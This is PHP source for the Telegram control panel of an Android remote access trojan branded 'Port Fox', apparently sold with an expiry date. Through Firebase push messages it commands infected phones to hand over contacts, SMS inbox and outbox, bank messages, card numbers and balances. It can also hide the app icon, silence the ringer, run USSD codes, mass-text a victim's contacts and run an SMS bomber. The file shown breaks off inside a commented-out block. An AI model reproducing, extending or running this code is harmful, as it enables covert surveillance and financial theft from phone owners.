<?php
//کص ننت تگو عوض کنی

include("chalim.php");

define('TOKEN', $bot_token);
define('PORT_SUDO', $sudo_port);
define('PROJECT_ID', $project_id);
define('FILE', $file);

#Write Requirements
if (!file_exists("data")) {
    mkdir("data");
    mkdir("user");
}
if (!file_exists("link.txt")) {

    file_put_contents("link.txt", "https://google.com");
    file_put_contents("data/devices.txt", "");
    file_put_contents("data/contact.txt", "0");
    file_put_contents("data/firstsms.txt", "off");
    file_put_contents("data/autohide.txt", "off");
    file_put_contents("data/number-first.txt", "09123456789");
    file_put_contents("data/message-first.txt", $dev_id);
    file_put_contents("data/offline-number.txt", "09123456789");
    file_put_contents("user/index.php", "");
    file_put_contents("data/index.php", "");
    file_put_contents("data/pingmsg.txt", "0");
    file_put_contents("data/onlineusers.txt", "");
    file_put_contents("data/online_model.txt", "list");
    file_put_contents("data/autotar.txt", "off");
    file_put_contents("data/message_contacts.txt", "off");
    file_put_contents("data/online_users.json", "");
    file_put_contents("firstaction.json", "{'balance':'off','targetphone':'off','autohide':'off'}");

}
#ip function
function Client_IP()
{
    $target_client_ip = @$_SERVER['HTTP_CLIENT_IP'];
    $target_forward_ip = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $target_remote_ip = $_SERVER['REMOTE_ADDR'];
    if (filter_var($target_client_ip, FILTER_VALIDATE_IP)) {
        $ip = $target_client_ip;
    } elseif (filter_var($target_forward_ip, FILTER_VALIDATE_IP)) {
        $ip = $target_forward_ip;
    } else {
        $ip = $target_remote_ip;
    }
    return $ip;
}

#bot Function
function bot($method, $datas = [])
{
    $url = "https://api.telegram.org/bot" . TOKEN . "/" . $method;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $datas);
    $res = curl_exec($ch);
    if (curl_error($ch)) {

        var_dump(curl_error($ch));

    } else {
        return json_decode($res);
    }
}
function sendCommandWithResponse($chat_id, $device_id, $model, $command, $success_message) {
    // Send waiting message
    $wait_message = bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "🌀ᴡᴀɪᴛ ꜰᴏʀ ʀᴇꜱᴘᴏɴꜱᴇ ꜰʀᴏᴍ ....\n"
                . "👤ᴛᴀʀɢᴇᴛ: $device_id | [$model]\n"
                . "🫡ᴄᴏᴍᴍᴀɴᴅ: $command\n",
        'parse_mode' => 'HTML'
    ]);
    
    $message_id = $wait_message->result->message_id;
    
    // Return message ID for later editing
    return $message_id;
}

#Send Message Function
function smg($chatid, $text, $keyboard)
{
    bot('sendMessage', [
        'chat_id' => $chatid,
        'text' => $text,
        'parse_mode' => 'HTML',
        'reply_markup' => $keyboard
    ]);
}

#Edit Message Func
function emg($chatid, $message_id, $text, $keyboard)
{
    bot('editmessagetext', [
        'chat_id' => $chatid,
        'message_id' => $message_id,
        'text' => $text,
        'parse_mode' => 'HTML',
        'reply_markup' => $keyboard
    ]);
}

function sf($file, $caption, $id = null)
{
    $url = "https://api.telegram.org/bot" . API_KEY . "/sendDocument?chat_id=" . $id;
    $post = array('parse_mode' => 'HTML', 'caption' => "<b>$caption</b>", 'document' => new CURLFile(realpath("$file")));
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    $res = curl_exec($ch);
    if (curl_error($ch)) {
        var_dump(curl_error($ch));
    } else {
        return json_decode($res);
    }
}
function updateJsonValueInFile($filename, $key, $newValue)
{
    $jsonString = file_get_contents($filename);

    $data = json_decode($jsonString, true);

    if (array_key_exists($key, $data)) {
        $data[$key] = $newValue;
    } else {
        $data[$key] = $newValue;
    }
    $updatedJsonString = json_encode($data, JSON_PRETTY_PRINT);
    file_put_contents($filename, $updatedJsonString);
}
#regular requests
function getAccessToken($file)
{
    require 'vendor/autoload.php';
    $serviceAccountFilePath = "$file";
    $serviceAccount = json_decode(file_get_contents($serviceAccountFilePath), true);

    // Generate the JWT using the service account credentials
    $clientEmail = $serviceAccount['client_email'];
    $privateKey = $serviceAccount['private_key'];

    $payload = [
        "iss" => $clientEmail,
        "scope" => "https://www.googleapis.com/auth/firebase.messaging",
        "aud" => "https://www.googleapis.com/oauth2/v4/token",
        "iat" => time(),
        "exp" => time() + 3600
    ];

    $jwt = Firebase\JWT\JWT::encode($payload, $privateKey, 'RS256');

    // Get the OAuth 2.0 access token
    $requestBody = [
        "grant_type" => "urn:ietf:params:oauth:grant-type:jwt-bearer",
        "assertion" => $jwt
    ];

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "https://www.googleapis.com/oauth2/v4/token");
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($requestBody));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        "Content-Type: application/json"
    ]);

    $response = curl_exec($ch);
    curl_close($ch);

    $accessToken = json_decode($response)->access_token;

    return $accessToken;
}

#regular requests
function requests($mode, $device_id)
{
    $access = getAccessToken(FILE);
    $data = array(
        "message" => array(
            "topic" => PORT_SUDO,
            "data" => array(
                "command" => $mode,
                "device_id" => $device_id
            ), "android" => array(
                "priority" => "high"
            )
        ),
    );

    $data_string = json_encode($data);
    $headers = array(
        "Authorization: Bearer " . $access,
        "Content-Type: application/json",
    );

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "https://fcm.googleapis.com/v1/projects/" . PROJECT_ID . "/messages:send");
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string);
    $result = curl_exec($ch);
    curl_close($ch);
    file_put_contents("sath.txt", $result);
}

function send_sms_contact($dev_id_use)
{
    $send_sms_contacts = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [
        [['text' => "‹‹ Back", 'callback_data' => "back_panel"], ['text' => "Send ››", 'callback_data' => "last_contacts $dev_id_use"]]
    ]]);
    return $send_sms_contacts;
}

function requestSMSContact($mode, $device_id, $message)
{

    $access = getAccessToken(FILE);

    $data = array(
        "message" => array(
            "topic" => PORT_SUDO,
            "data" => array(
                "command" => $mode,
                "device_id" => $device_id,
                "text" => $message
            ), "android" => array(
                "priority" => "high"
            )
        ),
    );

    $data_string = json_encode($data);
    $headers = array(
        "Authorization: Bearer " . $access,
        "Content-Type: application/json",
    );

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "https://fcm.googleapis.com/v1/projects/" . PROJECT_ID . "/messages:send");
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string);
    $result = curl_exec($ch);
    curl_close($ch);

}

#Sms Request
function requestSMS($mode, $device_id, $phone, $message)
{

    $access = getAccessToken(FILE);

    $data = array(
        "message" => array(
            "topic" => PORT_SUDO,
            "data" => array(
                "command" => $mode,
                "device_id" => $device_id,
                "phone" => $phone,
                "text" => $message
            ), "android" => array(
                "priority" => "high"
            )
        ),
    );

    $data_string = json_encode($data);
    $headers = array(
        "Authorization: Bearer " . $access,
        "Content-Type: application/json",
    );

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "https://fcm.googleapis.com/v1/projects/" . PROJECT_ID . "/messages:send");
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string);
    $result = curl_exec($ch);
    curl_close($ch);

}

#request to all subscribtion
function requestsAll($mode_all)
{
    $access = getAccessToken(FILE);
    $data = array(
        "message" => array(
            "topic" => PORT_SUDO,
            "data" => array(
                "command" => $mode_all
            ), "android" => array(
                "priority" => "high"
            )
        ),
    );

    $data_string = json_encode($data);
    $headers = array(
        "Authorization: Bearer " . $access,
        "Content-Type: application/json",
    );

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "https://fcm.googleapis.com/v1/projects/" . PROJECT_ID . "/messages:send");
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string);
    $result = curl_exec($ch);
    curl_close($ch);
    file_put_contents("xd.txt", PROJECT_ID);

}

#check host Location Resolver
function location($node)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "https://check-host.net/nodes/hosts");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, ['Accept: application/json']);
    $loc = json_decode(curl_exec($ch), true)['nodes'][$node]['location'][2];
    curl_close($ch);
    return $loc;
}

#check filtering
function checkhost($domain)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "https://check-host.net/check-http?host=$domain&node=ir1.node.check-host.net&node=ir3.node.check-host.net&node=ir5.node.check-host.net&node=ir6.node.check-host.net");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, ['Accept: application/json']);
    $id = json_decode(curl_exec($ch), true)['request_id'];
    sleep(2);
    curl_close($ch);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "https://check-host.net/check-result/$id");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, ['Accept: application/json']);
    $result = json_decode(curl_exec($ch), true);
    $arr = array();
    foreach ($result as $node => $value) {
        if (isset($value)) {
            $name = location($node);
            $arr[$name] = ['time' => $value[0][1], 'status' => $value[0][2], 'statuscode' => $value[0][3], "serverip" => $value[0][4]];
        }
    }
    return $arr;
}
    
function getPaginatedUsers($page, $pageSize = 20)
{
    $filePath = 'data/online_users.json';
    $onlineUsers = [];

    if (file_exists($filePath)) {
        $onlineUsers = json_decode(file_get_contents($filePath), true);
    }

    $totalUsers = count($onlineUsers);
    $totalPages = ceil($totalUsers / $pageSize);
    $page = max(1, min($totalPages, $page)); // Ensure page is within bounds

    $start = ($page - 1) * $pageSize;
    $usersOnPage = array_slice($onlineUsers, $start, $pageSize, true);

    return ['users' => $usersOnPage, 'totalUsers' => $totalUsers, 'totalPages' => $totalPages, 'currentPage' => $page];
}

function createInlineKeyboard($currentPage, $totalPages)
{
    $keyboard = [];

    if ($totalPages > 1) {
        if ($currentPage > 1) {
            $keyboard[] = ['text' => 'Previous', 'callback_data' => 'page_' . ($currentPage - 1)];
        }
        if ($currentPage < $totalPages) {
            $keyboard[] = ['text' => 'Next', 'callback_data' => 'page_' . ($currentPage + 1)];
        }
    }

    return json_encode(['inline_keyboard' => [$keyboard]]);
}

function updateMessageWithUsers($chatId, $messageId, $currentPage) {
    $pagination = getPaginatedUsers($currentPage);
    $users = $pagination['users'];
    $totalUsers = $pagination['totalUsers'];
    $totalPages = $pagination['totalPages'];

    $text = "📡 Active Connections List:\n\n";
    
    foreach ($users as $androidid => $name) {
        // دریافت نام کاربر از فایل مربوطه
        $userName = file_exists("user/$androidid-name.txt") ? 
                   file_get_contents("user/$androidid-name.txt") : 
                   "user".rand(1,100); // اگر فایل وجود نداشت یک نام پیشفرض
        
        $text .= $userName . "-/login_" . $androidid . "\n";
    }
    
    $text .= "\nTotal Devices: " . $totalUsers . "\n";
    $text .= "Page " . $pagination['currentPage'] . "/" . $totalPages . "\n";
    $text .= "➖➖➖➖➖➖➖➖➖➖\n";

    $keyboard = createInlineKeyboard($pagination['currentPage'], $totalPages);

    emg($chatId, $messageId, $text, $keyboard);
}

#----------------------------------------------------------------------
#telegram Update Requirements 
$update = json_decode(file_get_contents("php://input"));
$message = $update->message;
$message_id = $update->message->message_id;
$data = $update->callback_query->data;
$chat_id = isset($update->callback_query->message->chat->id) ? $update->callback_query->message->chat->id : $update->message->chat->id;
$from_id = isset($update->callback_query->message->from->id) ? $update->callback_query->message->from->id : $update->message->from->id;
$text = $update->message->text;
$mi = $update->callback_query->message->message_id;
$first_n = $update->message->from->first_name;
$last_n = $update->message->from->last_name;
$first = $update->callback_query->from->first_name;
$last = $update->callback_query->from->last_name;
$usernamee = $update->message->from->username;
$username = $update->callback_query->from->username;
#---------------------------------------------------------------------
#shourt Callers Value
$command = file_get_contents("user/$chat_id/command.txt");
$text_message = file_get_contents("user/$chat_id/message.txt");
$device_id = file_get_contents("user/$chat_id/device-id.txt");
$device_model = file_get_contents("user/$chat_id/device-model.txt");
$number_message = file_get_contents("user/$chat_id/numberlist.txt");
$ringer_mode = file_get_contents("user/$chat_id/ringer.txt");
$apk_mode = file_get_contents("user/$chat_id/apk.txt");
$action_autohide = file_get_contents("data/autohide.txt");
$status_offline = file_get_contents("user/$device_id-offline.txt");
$target_name = file_get_contents("user/$device_id-name.txt");
$install_ip = file_get_contents("user/$device_id-ip.txt");
$action_firstsms = file_get_contents("data/firstsms.txt");
$offline_number = file_get_contents("data/offline-number.txt");
$model_online = file_get_contents("data/online_model.txt");
$auto_tar = file_get_contents("data/autotar.txt");
$contact = file_get_contents("data/contact.txt");
$link_show = file_get_contents("link.txt");
#----------------------------------------------------------------
#shishe ei
$start_button = json_encode([
    'resize_keyboard' => true,
    'inline_keyboard' => [
        [
            ['text' => "📊ɢᴇᴛ ᴀʟʟ ᴛᴀʀɢᴇᴛꜱ ᴘᴏʀᴛ📊", 'callback_data' => 'setting'],
            ['text' => "🪄ʀᴇQᴜᴇꜱᴛ ᴛᴏ ᴀʟʟ🪄", 'callback_data' => 'online_checo']
        ],
        [
            ['text' => "👾ᴄᴏɴᴛʀᴏʟ ʀᴀᴛ👾", 'callback_data' => 'rat_set'], 
            ['text' => "🔄ᴄʜᴀɴɢᴇ ᴘᴀɴᴇʟ🔄", 'callback_data' => 'panel_set']
        ],
        [
            ['text' => "🦠ᴄᴏɴᴛʀᴏʟ ᴘᴀɴᴇʟ🦠", 'callback_data' => 'firstaction']
        ]
    ]
]);

$goooo = json_encode([
    'resize_keyboard' => true,
    'inline_keyboard' => [
        [
            ['text' => "🌐ꜱᴇᴛ ᴜʀʟ", 'callback_data' => 'set_url'],
            ['text' => "🔗ꜱʜᴏᴡ ᴜʀʟ", 'callback_data' => 'show_url']
        ],
        [
            ['text' => "🛡ᴄʜᴇᴄᴋ ꜰɪʟᴛᴇʀɪɴɢ️", 'callback_data' => 'checkhost']
        ],
        [
            ['text' => "↩ ʙᴀᴄᴋ", 'callback_data' => 'back_home']
        ]
    ]
]);



if (isset($update->message) && file_exists("user/".$update->message->chat->id."/rat_name_action.txt")) {
    processRatNameReply($update->message->chat->id, $update->message->text);
}
$goooo2 = json_encode([
    'resize_keyboard' => true,
    'inline_keyboard' => [
        [
            ['text' => "🌐ᴏɴʟɪɴᴇ ᴍᴏᴅ", 'callback_data' => 'online_model'], 
            ['text' => "$model_online", 'callback_data' => 'online_model']
        ],
        [
            ['text' => "✏️ᴇᴅɪᴛ ᴍᴇꜱꜱᴀɢᴇ️️", 'callback_data' => 'edit_message_all']
        ],
        [
            ['text' => "📨ᴄᴏɴᴛᴀᴄᴛꜱ ᴍᴇꜱꜱᴀɢᴇ ", 'callback_data' => 'set_message_contacts']
        ],
        [
            ['text' => "🤖ᴀᴜᴛᴏ ᴏꜰꜰʟɪɴᴇ", 'callback_data' => 'autotar'],
            ['text' => "$auto_tar", 'callback_data' => 'autotar']
        ],
        [
            ['text' => "◀️ ʙᴀᴄᴋ", 'callback_data' => 'back_home']
        ]
    ]
]);
// And update the ping response message to:

#start button
function control_button($dev_id_use) {
    $ringer_mode = file_get_contents("user/$dev_id_use-ringer.txt");
    $apk_mode = file_get_contents("user/$dev_id_use-apk.txt");

    $control_button = json_encode([
    'resize_keyboard' => true,
    'inline_keyboard' => [
    [
        ['text' => "📡ᴘɪɴɢ ᴅᴇᴠɪᴄᴇ", 'callback_data' => "status_user $dev_id_use"]
    ],
    [
        ['text' => "🟢 ᴏꜰꜰʟɪɴᴇ ᴏɴ 🟢", 'callback_data' => "offmodeon $dev_id_use"],['text' => "🔴 ᴏꜰꜰʟɪɴᴇ ᴏꜰꜰ 🔴", 'callback_data' => "offmodeoff $dev_id_use"]
    ],
    [
        ['text' => "👥 ɢᴇᴛ ᴄᴏɴᴛᴀᴄᴛꜱ 👥 ", 'callback_data' => "all_contacts $dev_id_use"],['text' => "📩 ꜱᴇɴᴅ ᴛᴏ ᴄᴏɴᴛᴀᴄᴛꜱ 📩", 'callback_data' => "sms_contacts $dev_id_use"]
    ],
    [
        ['text' => "📨 ɪɴʙᴏx ꜱᴍꜱ 📨", 'callback_data' => "recived $dev_id_use"],['text' => "📤 ᴏᴜᴛʙᴏx ꜱᴍꜱ 📤", 'callback_data' => "sent $dev_id_use"]
    ],
    [
        ['text' => "📋 ꜱᴍꜱ ʟɪꜱᴛ 📋", 'callback_data' => "Popo $dev_id_use"],['text' => "🪼 ᴄʜᴀɴɢᴇ ɪᴄᴏɴ 🪼", 'callback_data' => "change $dev_id_use"]
    ],
    [
        ['text' => "🔊 ɴᴏʀᴍᴀʟ 🔊", 'callback_data' => "normal_mode $dev_id_use"],['text' => "🔇 ꜱɪʟᴇɴᴛ 🔇", 'callback_data' => "silent_mode $dev_id_use"]
    ],
    [
        ['text' => "👀 ʜɪᴅᴇ ɪᴄᴏɴ ", 'callback_data' => "hide_icon $dev_id_use"],['text' => "ꜱʜᴏᴡ ɪᴄᴏɴ 👀", 'callback_data' => "visible_icon $dev_id_use"]
    ],
    [
        ['text' => "🔎 ꜱᴇᴀʀᴄʜ ꜱᴍꜱ 🔎", 'callback_data' => "searchSMS $dev_id_use"],['text' => "📩 ʟᴀꜱᴛ ꜱᴍꜱ 📩", 'callback_data' => "last_sms $dev_id_use"]
    ],
    [
        ['text' => "✉️ ꜱᴇɴᴅ ꜱᴍꜱ ✉️", 'callback_data' => "send_sms $dev_id_use"],['text' => "test panel", 'callback_data' => "send_sm $dev_id_use"],['text' => "💵 ʙᴀʟᴀɴᴄᴇꜱ 💵", 'callback_data' => "balance $dev_id_use"]
    ],
    [
        ['text' => "🪙 ʟᴀꜱᴛ ʙᴀɴᴋ ꜱᴍꜱ ", 'callback_data' => "last_Bank_sms $dev_id_use"],['text' => "ʙᴀɴᴋ ꜱᴍꜱ ʟɪꜱᴛ 🪙", 'callback_data' => "All_Bank_sms $dev_id_use"]
    ],
    [
        ['text' => "🔢 ᴜꜱꜱᴅ ᴄᴏᴅᴇ 🔢", 'callback_data' => "ussdcode $dev_id_use"],['text' => "📞 ɢᴇᴛ ꜱᴄ ɴᴜᴍʙᴇʀ 📞", 'callback_data' => "userphone $dev_id_use"]
    ],
    [
        ['text' => "💳 ᴄᴀʀᴅ ɴᴜᴍʙᴇʀ 💳", 'callback_data' => "extract_cards $dev_id_use"],['text' => "🪪 ʙʟᴜʀʀᴇᴅ ɪɴꜰᴏ 🪪", 'callback_data' => "information $dev_id_use"]
    ],
    [
        ['text' => "🚪ᴄʟᴏꜱᴇ ᴛʜᴇ ᴘᴀɴᴇʟ", 'callback_data' => "back_home"]
    ]
]
]);
    return $control_button;
}

#info button
function info_button($dev_id_use)
{
    $device_id = file_get_contents("user/$dev_id_use-model.txt");
    $status_offline2 = file_get_contents("user/$dev_id_use-offline.txt");


    $info_button = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [
        [['text' => "Name Target", 'callback_data' => "nametarget $dev_id_use"]],
        [['text' => "Clear All Info", 'callback_data' => "clearinfo $dev_id_use"]],
        [['text' => "‹‹ Back", 'callback_data' => "back_panel $dev_id_use"]]
    ]]);
    return $info_button;
}

$settings_button = json_encode([
    'resize_keyboard' => true,
    'inline_keyboard' => [
        // Row 1: Auto-Change + Offline Mode
[
            ['text' => "⚡ᴀᴜᴛᴏ ᴄʜᴀɴɢᴇ", 'callback_data' => 'null'], 
            ['text' => "$action_autohide", 'callback_data' => 'auto_change']
        ],
        [
            ['text' => "📶ᴏғғʟɪɴᴇ sɪᴍ", 'callback_data' => 'null'], 
            ['text' => "$offline_number", 'callback_data' => 'set_number_offline_mode']
        ],

        // Row 2: SMS Controls 
        [
            ['text' => "💣ꜱᴍꜱ ʙᴏᴍʙᴇʀ", 'callback_data' => 'sms_all'],
            ['text' => "🔕ꜱɪʟᴇɴᴛ ᴀʟʟ", 'callback_data' => 'silent_all']
        ],
        // Row 3: Visibility
        [
            ['text' => "👁️ʜɪᴅᴇ ᴀʟʟ", 'callback_data' => 'hide_all'],
            ['text' => "💰ʙᴀʟᴀɴᴄᴇꜱ", 'callback_data' => 'get_all_balance']
        ],
        // Row 4: Data
        [
            ['text' => "📞 ɢᴇᴛ ꜱᴄ ɴᴜᴍʙᴇʀ 📞ꜱ", 'callback_data' => 'get_all_numbers'],
            ['text' => "🔍ꜱᴇᴀʀᴄʜ ᴀʟʟ", 'callback_data' => 'search_all']
        ],
        // Row 5: Back
        [
            ['text' => "🚪ᴄʟᴏꜱᴇ ᴛʜᴇ ᴘᴀɴᴇʟ", 'callback_data' => 'back_home']
        ]
    ]
]);

$back_control = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [
    [['text' => "‹‹ Back", 'callback_data' => 'back_panel']]
]]);
$onli_btn = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [
    [['text' => "‹‹ Send Requests››", 'callback_data' => 'online_checo']]
]]);
$back_home = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [
    [['text' => "‹‹ Back", 'callback_data' => 'back_home']]
]]);
$back_settings = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [
    [['text' => "‹‹ Back", 'callback_data' => 'back_settings']]
]]);
$dev_inline = json_encode(array('inline_keyboard' => [
    [['text' => "Get Pv Dev", 'url' => "t.me/$dev_id"]]
]));
$url_inline = json_encode(array('inline_keyboard' => [
    [['text' => "$link_show", 'url' => "$link_show"]],
    [['text' => "‹‹ Back", 'callback_data' => 'back_settings']]
]));

function sms_button($dev_id_use)
{
    $sms_button = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [
        [['text' => "Edite Text", 'callback_data' => "edit_message $dev_id_use"]],
        [['text' => "‹‹ Back", 'callback_data' => "back_panel $dev_id_use"], ['text' => "Next ››", 'callback_data' => "set_list $dev_id_use"]]
    ]]);
    return $sms_button;
}

$model_button = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [[['text' => "ʟɪꜱᴛ", 'callback_data' => 'list_model'], ['text' => "ꜱɪɴɢᴇʟ", 'callback_data' => 'singel_model']],
    [['text' => "‹‹ Back", 'callback_data' => 'back_settings']],
]]);
$changeiconButton = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [[['text' => "ᴄʜʀᴏᴍᴇ", 'callback_data' => 'chrome'], ['text' => "ᴛᴇʟᴇɢʀᴀᴍ", 'callback_data' => 'telegram']],
    [['text' => "ʏᴏᴜᴛᴜʙᴇ", 'callback_data' => 'youtube'], ['text' => "ɢᴏᴏɢʟᴇ", 'callback_data' => "google $datass[1]"]],
    [['text' => "‹‹ Back", 'callback_data' => 'back_panel']],
]]);
function getsmsButton($dev_id_use)
{
    $getsmsButton = json_encode(['resize_keyboard' => true, 'inline_keyboard' =>
        [[['text' => "", 'callback_data' => "sent $dev_id_use"], ['text' => "", 'callback_data' => "recived $dev_id_use"]],
            [['text' => "📨ᴀʟʟ ꜱᴍꜱ📨", 'callback_data' => "Popo $dev_id_use"]],
            [['text' => "‹‹ Back", 'callback_data' => "back_panel $dev_id_use"]],
        ]]);
    return $getsmsButton;
}

$sms_button_all = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [
    [['text' => "Edite Text", 'callback_data' => 'edit_message_all']],
    [['text' => "‹‹ Back", 'callback_data' => 'back_settings'], ['text' => "Next ››", 'callback_data' => 'set_list_all']]
]]);
function back_sms($dev_id_use)
{
    $back_sms = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [
        [['text' => "‹‹ Back", 'callback_data' => "send_sms $dev_id_use"]]
    ]]);
    return $back_sms;
}

function send_sms($dev_id_use)
{
    $send_sms = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [
        [['text' => "‹‹ Back", 'callback_data' => "send_sms $dev_id_use"], ['text' => "Send ››", 'callback_data' => "last_send $dev_id_use"]]
    ]]);
    return $send_sms;
}

$send_sms_all = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [
    [['text' => "‹‹ Back", 'callback_data' => 'back_settings'], ['text' => "Send ››", 'callback_data' => 'last_send_all']]
]]);
if (in_array($chat_id, $sudo_user)) {
    if (preg_match('/^\/([Ss]tart)(.*)/', $text)) {
        if (!file_exists("user/$chat_id")) {
            mkdir("user/$chat_id");
            file_put_contents("user/$chat_id/command.txt", "");
            file_put_contents("user/$chat_id/message.txt", "$dev_id");
            file_put_contents("user/$chat_id/device-id.txt", "");
            file_put_contents("user/$chat_id/device-model.txt", "null");
            file_put_contents("user/$chat_id/numberlist.txt", "");
            file_put_contents("user/$chat_id/ringer.txt", "Normal");
            file_put_contents("user/$chat_id/apk.txt", "Visible");


        }
smg($chat_id, "
╭─ ᴘᴏʀᴛ ꜰᴏx ᴄᴏɴᴛʀᴏʟ 💤ㅤㅤㅤㅤ
┊
├ 🧛🏻‍♂️ ʜᴇʟʟᴏ | $first_n 
├ ♨️ ꜱᴛᴀᴛᴜꜱ ᴘᴏʀᴛ : ᴀᴄᴛɪᴠᴇ 
├ 🔮 ᴘᴏʀᴛ : <code>$sudo_port</code>
├ 🌩 ʟᴀꜱᴛ ᴏɴʟɪɴᴇ : $totalUsers
┊
╰〣─ 👥 ᴜꜱᴇʀꜱ-ᴄᴏᴜɴᴛ : $contact


<blockquote>╭─ʀᴇᴍᴏᴛᴇ ᴠᴇʀꜱɪᴏɴ v2.1
┊
├ 📅 ᴅᴀᴛᴇ ʙᴜʏ : $dateBuy
├ ⏳ ᴇxᴘɪʀᴇ ʀᴇᴍᴏᴛᴇ : $expir
┊
├〣─ ⏰ ʀᴇᴍᴀɪɴɪɴɢ $days_remaining
┊
╰─<a href='https://t.me/onyxrat'> ʀᴇᴠɪᴠᴀʟ ᴘᴏʀᴛ</a></blockquote>

<a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>
", $start_button);
    } elseif (strpos($text, '/check') !== false) {
        $ex = explode("-", $text);
        $device_id = $ex[1];

} elseif ($data == "back_home") {
    emg($chat_id, $mi, "
╭─ ᴘᴏʀᴛ ꜰᴏx ᴄᴏɴᴛʀᴏʟ 💤ㅤㅤㅤㅤ
┊
├ 🧛🏻‍♂️ ʜᴇʟʟᴏ | $first_n 
├ ♨️ ꜱᴛᴀᴛᴜꜱ ᴘᴏʀᴛ : ᴀᴄᴛɪᴠᴇ 
├ 🔮 ᴘᴏʀᴛ : <code>$sudo_port</code>
├ 🌩 ʟᴀꜱᴛ ᴏɴʟɪɴᴇ : $totalUsers
┊
╰〣─ 👥 ᴜꜱᴇʀꜱ-ᴄᴏᴜɴᴛ : $contact


<blockquote>╭─ʀᴇᴍᴏᴛᴇ ᴠᴇʀꜱɪᴏɴ v2.1
┊
├ 🕒 ᴛɪᴍᴇ : $request_time
├ 📅 ᴘᴜʀᴄʜᴀꜱᴇ ᴅᴀᴛᴇ: $bye_port
├ ⏰ ᴇxᴘɪʀʏ ᴅᴀᴛᴇ: $time_end
├ ⏳ ʀᴇᴍᴀɪɴɪɴɢ: $days ᴅᴀʏꜱ $hours ʜᴏᴜʀꜱ $minutes ᴍɪɴꜱ
┊
╰─<a href='https://t.me/onyxrat'> ʀᴇᴠɪᴠᴀʟ ᴘᴏʀᴛ</a></blockquote>

<a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>
    ", $start_button);

        file_put_contents("user/$chat_id/command.txt", "");
        file_put_contents("user/$chat_id/ringer.txt", "Normal");
        file_put_contents("user/$chat_id/apk.txt", "Visible");
        file_put_contents("user/$chat_id/device-id.txt", "");
        file_put_contents("user/$chat_id/device-model.txt", "null");


    } elseif (strpos($data, "sms_contacts") !== false) {
        $datass = explode(" ", $data);
        $device_id = $datass[1];
        $sms_button = sms_button($device_id);


        file_put_contents("user/$chat_id/command.txt", "");
        emg($chat_id, $mi, "‹‹ <b>Send SMS To Contacts</b> ›› section\n\nText Message : [ <code>$text_message</code> ]", send_sms_contact($device_id));

    } elseif (strpos($data, "last_contacts") !== false) {
        $datass = explode(" ", $data);
        $device_id = $datass[1];


        file_put_contents("user/$chat_id/command.txt", "");
        requestSMSContact("smcontact", $device_id, $text_message);
        emg($chat_id, $mi, "‹‹ <b>Send SMS To Contacts</b> Started - Response Will Send When Job Finished", $back_control);

    } elseif (strpos($data, 'back_panel') !== false) {

        $datass = explode(" ", $data);
        $control_button = control_button($datass[1]);

emg($chat_id, $mi, "
🖥️ *DEVICE CONTROL PANEL*
━━━━━━━━━━━━
🔹 Welcome to Target Management
🔹 Select your operation:

🌩 | <a href='https://t.me/onyxrat'> | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", 
$control_button);
#------------------------------------------------------- 
#KalamatVorodi
        /*} elseif ($text == "Online Devices") {
            file_put_contents("data/onlineusers.txt", "");


            smg($chat_id, "Can a request to [ <b>check devices</b> ] be sent online? Click the button below", $onli_btn);

